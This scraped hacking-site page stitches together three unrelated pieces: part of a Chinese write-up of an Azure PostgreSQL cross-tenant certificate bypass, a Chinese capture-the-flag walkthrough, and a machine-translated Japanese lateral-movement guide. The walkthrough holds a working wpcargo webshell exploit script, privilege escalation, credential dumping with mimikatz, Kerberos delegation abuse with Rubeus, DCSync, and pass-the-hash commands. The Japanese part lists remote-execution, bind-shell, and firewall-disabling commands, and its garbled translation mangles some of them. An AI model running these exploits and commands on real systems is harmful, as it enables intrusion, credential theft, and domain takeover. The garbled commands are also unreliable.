使用客戶端證書進行身份驗證時，PostgreSQL 會驗證提供的證書是否由受信任的證書頒發機構(CA) 簽名。受信任的CA 列表可在SSL 證書頒發機構文件中找到。 SSL 證書頒發機構文件位置位於PostgreSQL 服務器配置中的ssl_ca_file 字段下。



 8.png



指向ca.pem 的SSL 配置，可以在postgresql.certoverrides.conf 中看到



通過檢查此文件，我們了解到Azure 信任多個CA 的證書，其中一個是DigiCert。 DigiCert 是著名的根證書頒發機構和SSL 證書頒發機構，為個人和開發人員以及企業提供服務。



 9.png



Azure PostgreSQL服務器支持的受信任的證書頒發機構列表



Azure使用了另一個PostgreSQL功能來驗證證書的通用名稱(CN)。這就是pg_identity .conf的作用。



pg_identity .conf文件是對pg_hba.conf文件的擴展。當使用身份驗證方法(如Ident或Certificate authentication)時，發起連接的用戶名可能與需要連接的實際用戶名不同。在這種情況下，將應用用戶映射以將連接用戶與相應的PostgreSQL 用戶匹配。這允許將通用名稱(CN) 鏈接到特定用戶。例如，具有簽署到alice.com 的證書的用戶將能夠以Alice 的身份進行連接，或者俱有簽署到bob.com 的證書的用戶可以以Bob 的身份進行連接。 pg_ident.conf 還支持更複雜的通用名驗證的正則表達式。



這是Azure 中的pg_ident.conf 配置：



 10.png



檢查pg_identity .conf文件中指定的映射，我們注意到一些有趣的邏輯：



根據第一個條目，任何具有匹配某個正則表達式的證書CN的用戶都可以使用與CN的第一部分等價的數據庫用戶名登錄。例如，擁有簽署到azuresu.eee03a2acfe6.database.azure.com 的證書的用戶將能夠使用azuresu 用戶連接到復制數據庫。



根據第二個條目，複製用戶可以使用等於rl.eee03a2acfe6.prod.osdb.azclient.ms 的證書CN 值登錄（這對於我們的示例來說似乎是唯一的）。



此外，第一個條目還允許複製用戶登錄，因為它的用戶名也與正則表達式匹配(replication.eee03a2acfe6.database.azure.com)。



眼尖的讀者會注意到這個正則表達式的一些奇怪之處：



 11.png



為什麼這個正則表達式以(.*) 結尾？這顯然是一個錯誤。我們是否可以註冊一個匹配這個正則表達式的域，例如replication.eee03a2acfe6.database.azure.com.wiz-research.com，為其生成一個客戶端證書，然後通過模擬複製用戶使用它來登錄我們的服務器。



要利用這個鬆散的正則表達式，我們必須做的就是訪問digicert.com 並向replication.eee03a2acfe6.database.azure.com.wiz-research.com 頒發證書。由於我們是wiz-research.com 的合法所有者，我們通過了驗證過程並成功獲得了客戶證書。在實踐中，我們最終從RapidSSL（DigiCert 的中間CA）購買了證書，因為我們發現該過程更容易。這就是我們如何為我們自己的示例偽造一個有效的SSL 客戶端證書，任何人都可以使用它來連接和復制我們的數據庫。



訪問其他客戶的數據庫到目前為止，我們只討論了登錄到我們自己的PostgreSQL示例。我們如何應用這個技巧來獲得對其他客戶示例的訪問？讓我們再看看pg_identity .conf文件中的正則表達式：



 12.png



我們可以看到，每個數據庫示例都有一個惟一的標識符。要為特定的數據庫生成自定義證書，我們需要事先知道這個標識符。那如何獲得這些信息？



我們發現，數據庫的唯一標識符出現在服務器的SSL證書中。通過嘗試使用SSL連接內部網絡中的其他數據庫，我們可以檢索它們的SSL證書，並提取子網中每個數據庫的惟一標識符。



 13.png



測試到隨機客戶示例的連接，以檢索標識符



在發現目標數據庫的唯一標識符之後，我們可以頒發一個新的客戶端證書，但這一次是使用目標的標識符replication.ebe6ed51328f.databasee.azure.com.wiz-research.com，並使用它連接到目標數據庫，它具有完全的讀取權限。



但是，如果我們不想將自己局限於碰巧共享我們子網的其他客戶呢？如果我們想從特定目標數據庫（假設我們知道它的域名）中檢索數據，例如wizresearch-target-1.postgres.database.azure.com，該怎麼辦？在這種情況下，我們可以通過在公共證書透明度提要中搜索數據庫域名來獲取具有唯一標識符的CN：



 14.png



使用crt.sh識別包含唯一標識符的CN



一旦我們有了標識符，我們就可以購買一個偽造的普通名稱的證書：



 15.png



購買的偽造證書



接下來，我們可以通過解析數據庫域找到目標示例的相關Azure區域，並將IP地址匹配到Azure的一個公共IP範圍：



 16.png



SQL East US區域的IP範圍片段



最後，我們可以在與目標相同的區域中創建由攻擊者控制的數據庫，並將其作為利用我們發現的漏洞的切入點，並獲得對我們所尋找的數據的訪問權限！



步驟總結1.選擇一個目標 PostgreSQL Flexible Server。



2.從Certificate Transparency 提要中檢索目標的公用名。



3.從DigiCert或DigiCert中級證書頒發機構購買一個特別製作的證書 。



4.通過解析數據庫域名並將其與Azure的一個公共IP範圍匹配，找到目標的Azure區域。



5.在目標的Azure區域中創建一個攻擊者控制的數據庫。



6.利用攻擊者控制的示例上的漏洞1來升級特權並獲得代碼執行。



7.掃描子網查找目標示例，並利用漏洞2獲得讀取權限限！



影響最初的PostgreSQL漏洞(漏洞1)同時影響了Azure PostgreSQL服務器和Azure PostgreSQL單一服務器。然而，Single Server服務沒有受到跨帳戶身份驗證繞過漏洞(漏洞2)的影響，因此，我們無法在該服務中實現跨租戶訪問。此外，微軟的調查發現，跨帳戶認證繞過並沒有影響Azure PostgreSQL客戶，他們將數據庫的網絡設置配置為使用私有訪問(VNet Integration)。因此，Azure Database for PostgreSQL Flexible Server客戶在任何配置了公網訪問的地區，無論防火牆規則如何，都是易受攻擊的。



需要注意的是，在設置Flexible Server數據庫時，用戶需要將其網絡連接配置為公共訪問(默認選擇)或私有訪問(VNet Integration)。選擇後就不能更改。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
说明
Brute4Road是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
技术
Redis、Brute Force、SMB、Privilege Elevation、域渗透
第一个flag
redis主从复制RCE
fscan扫描入口ip，如果下面入口ip有变化是因为重启的环境，流程没有问题
lbu3kahbb4p14419.png
发现了redis的未授权，测试了写计划任务反弹shell，提示没有权限，尝试redis主从复制RCE成功
klzbfhryfka14420.png
suid提权
用户为redis，需要提权，使用suid提权，可以执行以下命令，具体可以查看 Linux系统suid提权1
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
4zhtiyldzii14421.png
base64是具有suid权限的，我们可以通过base64读取本地文件并输出，获取到第一个flag
base64 "/home/redis/flag/flag01" | base64 --decode
o2hvs2mzmh314422.png
第二个flag
wpcargo未授权RCE
在入口ip的服务器上设置代理，并进行内网扫描，通过weget上传 npc和fscan
start ping
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.16     is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.3:88 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.7:21 open
172.22.2.18:80 open
[*] alive ports len is: 20
start vulscan
[+] NetInfo:
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] 172.22.2.34          XIAORANG\CLIENT01        
[*] 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[+] NetInfo:
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] WebTitle:http://172.22.2.16        code:404 len:315    title:Not Found
[+] NetInfo:
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] WebTitle:http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] 172.22.2.16          XIAORANG\MSSQLSERVER       Windows Server 2016 Datacenter 14393
[*] 172.22.2.3     [+]DC XIAORANG\DC                Windows Server 2016 Datacenter 14393
[*] 172.22.2.18          WORKGROUP\UBUNTU-WEB02    
[*] 172.22.2.3  (Windows Server 2016 Datacenter 14393)
[+] ftp://172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle:http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点
使用 wpscan扫描下wordpress站点
proxychains wpscan --url http://172.22.2.18
tckpx3wzgfg14423.png
可以看到存在wpcargo插件，搜索相关漏洞，有个未授权RCE漏洞
https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
w51tcwdqdgc14424.png
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
生成shell
http://172.22.2.18/webshell.php?1=system
POST:2=whoami
s4fodxxshxu14425.png
连接蚁剑，注意类型要选择 cmdLinux （这个浪费了很多时间，对工具不熟悉）
mprob5xmocn14426.png
查看数据库的配置，并连接
qnyw3nydj3314427.png
找到第二个flag
31lq5wdh1vt14428.png
第三个flag
发现了一张存放密码的表
0m53m41ydbc14429.png
MSSqlServer RCE
用刚才数据库里拿到的密码表爆破MsSQL，得到密码为ElGNkOiC
1d5ftsxxnqa14430.png
使用Multiple.Database.Utilization.Tools工具连接
先激活Ole Automation Procedures组件，再上传SweetPotato.exe提权，得到system权限
g1a5uteq4jr14431.png
C:/Users/MSSQLSERVER/Desktop/SweetPotato.exe -a "netstat -ano"
ucwmofesxkd14432.png
发现3389开放着，直接添加用户，远程连接
net user devyn Admin123 /add
net localgroup administrators devyn /add
3n3ozwitu1z14433.png
远程连接成功
biuuzs4btep14434.png
获得第三个flag
1dvriq3b2cd14435.png
‍第四个flag
域渗透
使用mimikatz，抓取域用户的hash
4d3xdutsinm14436.png
获取到域用户的哈希为78a2811aabd779d0da3cef84903ca3e6
约束委派攻击
MSSQLSERVER机器配置了到 DC LDAP 和 CIFS 服务的约束性委派
首先通过Rubeus申请机器账户MSSQLSERVER的TGT，执行后，将得到 Base64 加密后的 TGT 票据
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
brrn3wimihb14437.png
然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据，并将得到的票据传递到内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3jomeuPBK3C69yaGuyDCLGYHRyVjZg4zXrEwUSwvFS0kZ+4Q2uTcKGqYw3GLs5sf0/MJ0fHiL1V8u5WrLpgR5hBlYUGN+g1zmv3uiTXO7QobxH0lR0dUUKuNdPoxdPdx26Liz5/xdDFvz4xTyMKDqqRxgBWquqGjh1cp/woy4U4tXJo+L8CfQ424Kgdb3n/rJYRNY54m8QHl/smHg3PpMgTT2FEiJ5Jag+qDpM/R/XUOIJHNzSfCVi2XiLGqPF374jUbih9UTZvlqRoSHz9qljZlBsEAqen9ctu01tmNn4ACRz4mqMV11MyV9scfeJnQbCpGdS+zveSrT53dwFotrg00o4Jq6RGr9dR/6ZMKC1W/kfwSXdF1b/H3HOMM7HzK0qLfSbDtq8i1e2FdZ5kyOVbbtAE6irAizzK7ScDS4rO9RRSDl6BNaV25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBUUQBzsA/6BBmEAnxvfKX1B8xViT0rq1I/pLKS9LKWTKyuHJd67z6XDRN7IWR0fstyqGuvHPn391l02zNUJRK5/7jyOyKwhQ3sb/XRzC4YbLeGgImMGRZ0fqrQ+hRBQbTuNr2/i4hgyWDLuBSEvz5qb1kXcebRkWuCHhpGKtsdbyZ30tnpA0W2qWu8qJ8zKks04r2Hj91lCPudAbrjhjjFf/UNd+fHcfYlAu0xzMuR8eKUA22Lcv0fEf2igvIu38bCRvUjfGkh423fgPsR4Xom8/8lNWhU+kaAiGSwSER8UGr8jiDVjtmgF5ScFoQDM+kVJ5o0ZnettUHJhcVMAdlI1QTq5WjQRIea6u4d6bYSHI43ips6So8hEcsB/03FpOKR/SRUYveALw3IAwAJtAPtW/SrzUeLXEemVg2aADTl1qXNw04A0e9v8XQnnm7lyCJfmI3pXJVsycjJyviDwazFtHGbQoM3fhlZ4zpBlfBKagxQr624YO5yIaJbl9/Dp4M7iauUIbo7kAWCfka1iafKyGDFGAXudAb52dt72jw0/QpeLP08RORDLtY8IrpjKAzHsSGuVYukY07lR+ck95MeKFDnl8cwaKw0MB8f92n4g4OfWQbUJK/479LYMZBDG38iwHHv/MLiaCylHm5nazaY0JJxJ2CeqIvsAFlfm7gp23V5Hj/T+eKt0zd3EIjNhuwBvhYeVKKQCFJZGaRelQKxaptmKhhgILA+wTKvCxpQX6qx8b40pg9r1rr4zQ9buPb4JNnqwHe5SIgPURR02Xv5FUiiI9Qc5//bUhxCEOXi0TFASRbghAyNA/TLRVAqfvtgqv6SKb4jw265bdrQQrPITm1En79jsNw6adH1curFJr++PS6ZYX6yqK3DlJ5Piiy2OAVLPIPcN1zmbZ+jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBAXgLFznI5hHEOCpAjFdNEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIyMTAyODEyMjIzM1qmERgPMjAyMjEwMjgyMjIyMzNapxEYDzIwMjIxMTA0MTIyMjMzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
ppos5uepkjl14438.png
LDAP 服务具有DCSync权限，导出域内用户的Hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
n1y4xjeuvwf14439.png
获得域管理员哈希 1a19251fbd935969832616366ae3fe62
WMI横向
得到域管的哈希后我们可以通过WMI服务登录域控
python wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3
g1gu4a4ykth14440.png
获得第四个flag
3i5yr5qlyzm14441.png
另一种方法
直接通过哈希传递就能拿下域控，这里使用crackmapexec来进行PTH
proxychains crackmapexec smb 172.22.2.3 -u administrator -H1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"
yepcr4hbikf14442.png

原文链接：https://zhuanlan.zhihu.com/p/581577873

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
通常の状況では、水平方向の動きは、十分な権限が得られた場合に水平方向に移動することです。以下の方法のほとんどは、高い許可操作も必要です。



https://www.freebuf.com/articles/network/251364.html



イントラネットの水平移動には3つの状況があります。



1. VPN環境で水平方向の動きを実行します。



2。ソックスプロキシ環境で水平方向の動きを実行します。



3.遠隔トロイの木馬の環境で水平方向の動きを実行します。



ファイル転送準備


水平運動の過程で、最初に考慮すべきことはファイル転送スキームであり、攻撃ペイロードまたはその他のファイルを攻撃ターゲットに後で展開するための利便性を提供します。



ネットワーク共有



 Windowsシステムでは、ネットワーク共有機能はローカルエリアネットワーク間のファイル共有を実現できます。有効なユーザー資格情報を提供して、あるマシンから別のマシンにファイルを転送します。



Windowsでデフォルトでネットワーク共有を有効にします。



ネットシェア



実際の戦闘では、IPC $接続がよく使用され、IPC $接続には2つの要件が必要です。



1.リモートホストはIPC接続を有効にしました。



2。リモートホストの139ポートと445ポートが開いています。



ネット使用\\ 10.10.10.10 \ ipc $ 'admin！@＃456' /user:'administrator '



この時点で、十分な権限がある場合は、dirまたはcopyコマンドを使用してターゲットホストの情報を表示できます。



セキュリティ上の考慮事項：これらの命令はローカルで実行されるリモートコマンドであるため、リモート接続されたホストにログ情報を残さないため、比較的安全です。
 SMBサーバーを構築します



 https://3GSTUDENT.GITHUB.IO/％E6%B8%97%E9%80%8FA6%8A%80%E5%5%B7%A7-ERE9%80%9AA%E8%BF87%E5%91%BD%EE4%A4%E8%A1%8 C％E5％BC％80％E5％90％AfWindows％E7％B3％BB％E7％BB％9F％E7％9a％84％E5％8C％BF％E5％90％8D％E8％AE％BF％E9％97％AE5％85％B1％E4％BA％AB



CIFS（ネットワークファイル共有システム）とも呼ばれるSMB（サーバーメッセージブロック）は、アプリケーションレイヤーネットワーク伝送プロトコルに基づいており、通常、NetBiosプロトコルまたはTCPを使用して送信し、ポート139または445を使用します。



両当事者がアクセスできるSMBサーバーとイントラネットの普及により、被害者ホストはトロイの木馬やその他の操作をリモートでロードしてターゲットホストを制御できます。



 
 CIFSプロトコルとSMBプロトコルの違い



 ** CIFSアクセス許可に関するアイデア：**マシンを削除し、制約付き委任や銀の請求書などの脆弱性がある場合、操作を通じてドメインコントロールのCIFS許可を取得します。その後、Impacket Toolkitでpsexec.pyやsmbexec.pyなどのツールを使用し、-no -pass -kパラメーターを使用してドメイン制御に直接接続して、ローカル請求書を読んでアクセス許可を取得できます。



ただし、Impacket Toolkitが-no -Pass -Kパラメーターを使用すると、ccacheチケットを検出し、Windowsで.kirbi -endチケットを使用するため、成功することはできません。 Linuxで成功する可能性があります。



ドメインコントロールのCIFS許可を取得できる場合は、Impackツールを変更するか、他のツールを作成し、CIFSアクセス許可を使用してドメイン制御を直接取得します。



計画タスク


実行方法は、VPNおよびSocksメソッドと同じです。一般的に、管理者の資格情報は、スケジュールされたタスクを実行する前に取得する必要があります。



SMBサーバーを構築するか、共有接続を確立することにより、ターゲットマシンはスクリプトをダウンロードして実行し、スクリプトロードトロイの木馬などを実行するための計画されたタスクを確立します。



ターゲットシステムバージョンWindow2012が使用される場合：



ネット使用\\ 192.168.3.21 \ ipc $ 'admin12345' /user:god.org\administrator＃IPC接続を確立する



コピーadd.bat \ 192.168.3.21 \ c $ #copy実行ファイルをターゲットマシンに



at \\ 192.168.3.21 15:47 C: \ add.bat #ADDスケジュールされたタスク



ターゲットシステムバージョン=windows2012の場合、schtasksを使用します。



ネット使用\\ 192.168.3.32 \ ipc $ 'admin！@＃45' /user:god.org\administrator＃IPC接続を確立する



コピーadd.bat \\ 192.168.3.32 \ c $ #copyファイルをCドライブに



schtasks /create /s 192.168.3.32 /ru 'system' /tn adduser /sc daily /tr c: \ add.bat /f＃create Adduserタスクの対応する実行ファイル



/s：リンクするシステムを指定します。 /ru：実行するスケジュールされたタスクのユーザー権限を指定します。 /TN：作成されたスケジュールされたタスクの名前を指定します。



/SC：スケジュールされたタスクの実行頻度を指定します。 /TR：スケジュールされたタスクが実行されるプログラムパスを指定します。 /f：指定されたタスクが存在する場合は強制的な作成。



/MO：スケジュールされたタスク実行サイクルを指定します。



schtasks /query /s 10.10.10.10 /TN C＃ビュースケジュールされたタスクCステータス



schtasks /run /s 192.168.3.32 /tn adduser /i #run adduserタスク



schtasks /delete /s 192.168.3.21 /tn adduser /f＃delete adduserタスク



 dig0ps4mygd965.png



タスクの実行をスケジュールするプログラムは、バックグラウンドで実行され、エコーがないことに注意してください。



ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。



 gws2zvsav1f966.png



 rc4eheclqjt967.png



計画されたタスクの追加、削除、実行、およびその他の操作も、ターゲットホストに反映されます。



 pwujcw1gn1v968.png



Microsoft-Windows-Taskscheduler/Operational：このイベントログは、スケジュールされたタスクの操作、作成、変更、削除を記録します。このログは、Windowsイベントビューアーで見つけることができます。パスは次のとおりです。イベントビューアー - アプリケーションとサービスログ -  Microsoft -Windows -Taskscheduler-動作。 Microsoft-Windows-Taskscheduler/Menaptaining：このイベントログは、タスクの開始、完了、エラー情報など、スケジュールされたタスクの実行を記録するために使用されます。また、Windowsイベントビューアーでは、このログを見つけることができます。パスは次のとおりです。イベントビューアー - アプリケーションとサービスログ -  Microsoft -Windows -Taskscheduler-メンテナンス。セキュリティ上の考慮事項：スケジュールされたタスクはリモートで実行されますが、ターゲットホストにスケジュールされたタスクプロセスが確立され、プロセスもターゲットホストでファイルを実行します。これらの動作は、ターゲットホストにログレコードを残すため、より危険です。
システムサービス


実行方法は、VPNおよびSocksメソッドと同じです。リモートホストにシステムサービスを作成することにより、リモートホストで指定されたプログラムまたはコマンドを実行することもできます。



この方法では、両方のホストに管理者の権利が必要です。



sc \\ [hostname/ip] create [servicename] binpath='[path]' #createスケジュールされたタスクスタートアッププログラム



Sc \\ 10.10.10.10 CREATE BINDSHELL BINPATH='C: \ Bind.Exe'



こちらの形式に注意してください "="は空にする必要があります。そうしないと、エラーが発生します。



サービスを開始します



sc \\ 10.10.10.10 Bindshellを開始します



サービスを削除します



sc \\ [host] delete [servicename] #deleteサービス



また、サービスをセットアップすることにより、ファイアウォールをオフにすることもできます。



sc \\ win-ens2vr5tr3n create canveadfirewall binpath='netsh advfirewall set allprofiles state off'



sc \\ win-ens2vr5tr3n cantyfirewallを開始します



 iirqwkzwrtg969.png



ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。



 0g0qdrmyauj970.png



システムサービスのログも痕跡を残します。



 ptnd2ksfack971.png



セキュリティ上の考慮事項：システムサービスを作成する方法を使用すると、リモートホストにサービスが作成され、ターゲットホストにログレコードを残すため、より危険です。
 psexec 


実行方法は、VPNおよびSocksメソッドと同じです。 PSTOOLSPSEXECは、SMBを介してサーバーの管理者$共有に接続し、「psexesvc.exe」という名前のバイナリファイルをリリースし、「psexec」という名前のサービスを登録するサービスです。コマンドが実行されると、対応するプログラムがサービスを通じて開始され、コマンドとエコーが実行されます。実行が完了した後、PSEXESVCサービスが削除されます。



したがって、psexecを実行するために必要な条件：



1.ターゲットホストは、管理者$共有を有効にします。



2。SMBを実行するためにポート139または445を開きます。



3。サービスを作成するには、ターゲットホストの権限が必要です。



psexec.exe -accepteula \\ 192.168.52.138 -u god \ liukaifeng01 -p liufupeng123 -i -s cmd.exe



-ACCEPTEULA：PSEXECを初めて実行すると、確認ボックスがポップアップし、このパラメーターを使用すると確認ボックスがポップアップされません。



-u：ユーザー名



-P：パスワード



-S：システム許可を使用して運搬プロセスを実行し、システム権限を備えたインタラクティブシェルを取得します。このパラメーターが使用されていない場合、接続に使用されるユーザー権限を備えたシェルが取得されます



Impacketパッケージpsexec.pyを使用すると、リモートWindowsシステムでプロセスを実行したり、ファイルをコピーしたり、処理出力の結果を返したりできます。さらに、完全なインタラクティブコンソール（クライアントソフトウェアをインストールする必要はありません）を使用して、リモートシェルコマンドを直接実行できます。



python psexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]



python psexec.py vvvv1/admins:user \！@＃45@10.10.10.10



＃ハッシュパスワード接続を介してターゲットドメインユーザーインタラクティブシェルを取得する



python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21



pythonファイルとexeファイルのコマンドは同じです。



 i4uvbinu4dn972.png



PSEXECを使用する場合、ログインログはドメインコントロールで生成されるだけでなく、ターゲットマシンでもログ情報が生成されます。



イベントID：7045



公式のPSEXECツールを使用します



 2rwbcbrybjc973.png



ImpacketパッケージのPSEXECツールを使用して接続すると、生成されたサービス名が自動的に変更されることがわかります（サービスに特定の隠された効果があります）



 oixslg4mh5e974.png



セキュリティ分析：PSEXECが実行されると、ファイルをアップロードするだけでなく、サービスを作成します。これらはターゲットホストによって記録されるため、より危険です。
 wmi 


実行方法は、VPNおよびSocksメソッドと同じです。 WMIのフルネームは（Windows Management Instrumentation、Windows Management Specification）であり、ユーザーはWMIを介してローカルおよびリモートコンピューターを管理できます。 WMIが使用するプロトコルは、DCOM（分散コンポーネントオブジェクトモデル）とWinRM（Windowsリモート管理）です。



WMIを実行するために必要な条件：



1.リモートホストのWMIサービスは、有効な状態にあります。



2。両方のホストを開いてポート135をリリースします。



Windowsでは、wmic.exeおよびpowershell cmdletsを使用してWMIデータを使用してWMIメソッドを実行できます。



wmic /node:192.168.183.130 /user:administrator path win32_terminalservicesetting where（__class！=''）call setallowtsconnections 1



//wmic /node: '[フルマシン名]' /user: '[domain] \ [username]' path win32_terminalservicesetting where（__class！=''）call setallowtsconnections 1



リモートプロセス情報をクエリします



wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスリスト概要



WMICコマンドの実行にはエコーがないため、結果はtxtに書き込まれます



wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'cmd.exe /c ipconfig c: \ result.txt' \ result.txt '



wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'cmd.exe /cコマンドC: \ result.txt'



wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'directory \ backdoor.exe'を作成する



///ノード：動作するサーバーを指定します



ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。認証操作を除き、WMICリモート実行コマンドは通常の状況ではログを生成しません。コマンドライン監査関数のみがオンになります。 WMICコマンドを使用して操作を実行する場合、関連するイベントはWindowsイベントログに記録されます。



 ukcvizyks3k975.png



 dcomの利用


実行方法は、VPNおよびSocksメソッドと同じです。 https://www.freebuf.com/articles/web/293280.html



 winrm利用


実行方法は、VPNおよびSocksメソッドと同じです。 http://www.mchz.com.cn/cn/service/safety-lab/info_26_itemid_4124.htmlwinrmは、同じネットワークのWindowsコンピューターがアクセスしてアクセスして情報を交換できるようにすることにより、WS-Managementプロトコルを実行することにより、リモート管理を実装します。



Windows-2008以上のサーバーでは、WinRMサービスが自動的に開始されます。水平ムーブメントにWinRMサービスを使用する場合、リモートホストの管理者資格情報が必要です。



WinRMサービスをインストールします



1. Winrmを有効にするかどうかを確認します



winrm e winrm/config/リスナー



エラーが報告されている場合、有効になりません



2。サービスをオンにします



管理者モードでCMDを使用します。 PowerShellは実行されないためです



Winrm QuickConfig



2つの質問があります。「Y」を入力するだけです



3。WINRMサービス設定AUTH



winrm set winrm/config/service/auth '@{basic=' true '}'



4.非暗号化を許可するようにWinRMサービスの暗号化方法を構成します（これが構成されていない場合、リモート接続はエラーを引き起こします）



winrm set winrm/config/service '@{lowtunencrypted=' true '}'



5。WinRM構成を確認します



winrm get winrm/config



TrustEdhostsを構成します



winrm set winrm/config/client @{trustedhosts='10 .10.10.10 '} #trusted host 10.10.10.10



set -item wsman:localhost \ client \ trustedhosts -value * #powershell trustすべてのホスト



コマンド実行



Winrs -R:333http://10.10.10.10.10:5985 -U:ADMINISTRATOR -P:ADMIN！@＃456 'Whoami'



Winrs -R:3http://10.10.10.10.10:5985 -U:ADMINISTRATOR -P:ADMIN！@＃456 'CMD'



 xxxqa03kzuu976.png



ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。認証操作を除き、コマンドのWinRMリモート実行は通常の状況ではログを生成しません。



 pzeh4wa0zx3977.png



 Linuxは水平浸透
を実行します


一般的に、水平方向の浸透がLinuxで実行され、ImpacketツールキットはPythonスクリプトである侵入に使用されます。



 wmiexec.py 



実行方法は、VPNおよびSocksメソッドと同じです。 Windows Management Instrumentationを使用して半対話シェルを生成し、管理者として実行します。ターゲットサーバーにサービス/エージェントをインストールする必要はないため、非常に隠されています。



python wmiexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]



python wmiexec.py vvvv1/admins:user \！@＃45@10.10.10.10（注：パスワードに1つある場合は、エスケープする必要があります）



python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32



 gwcley3beox978.png



ログインログはドメインコントロールホストに残されていますが、ソックストンネルのクライアントホストはログインログに残りません。



 a1rhbjivqph979.png



 psexec.py 



実行方法は、VPNおよびSocksメソッドと同じです。 psexec.pyを使用すると、リモートWindowsシステムでプロセスを実行したり、ファイルをコピーしたり、処理出力の結果を返したりできます。さらに、完全なインタラクティブコンソール（クライアントソフトウェアをインストールする必要はありません）を使用して、リモートシェルコマンドを直接実行できます。



python psexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]



python psexec.py vvvv1/admins:user \！@＃45@10.10.10.10



＃ハッシュパスワード接続を介してターゲットドメインユーザーインタラクティブシェルを取得する



python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21



 4yrvt2qt1z0980.png



PSEXECを使用する場合、ログインログはドメインコントロールで生成されるだけでなく、ターゲットマシンでもログ情報が生成されます。



イベントID：7045



公式のPSEXECツールを使用します



 4girlldxeiw981.png



ImpacketパッケージのPSEXECツールを使用して接続すると、生成されたサービス名が自動的に変更されることがわかります（サービスに特定の隠された効果があります）


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
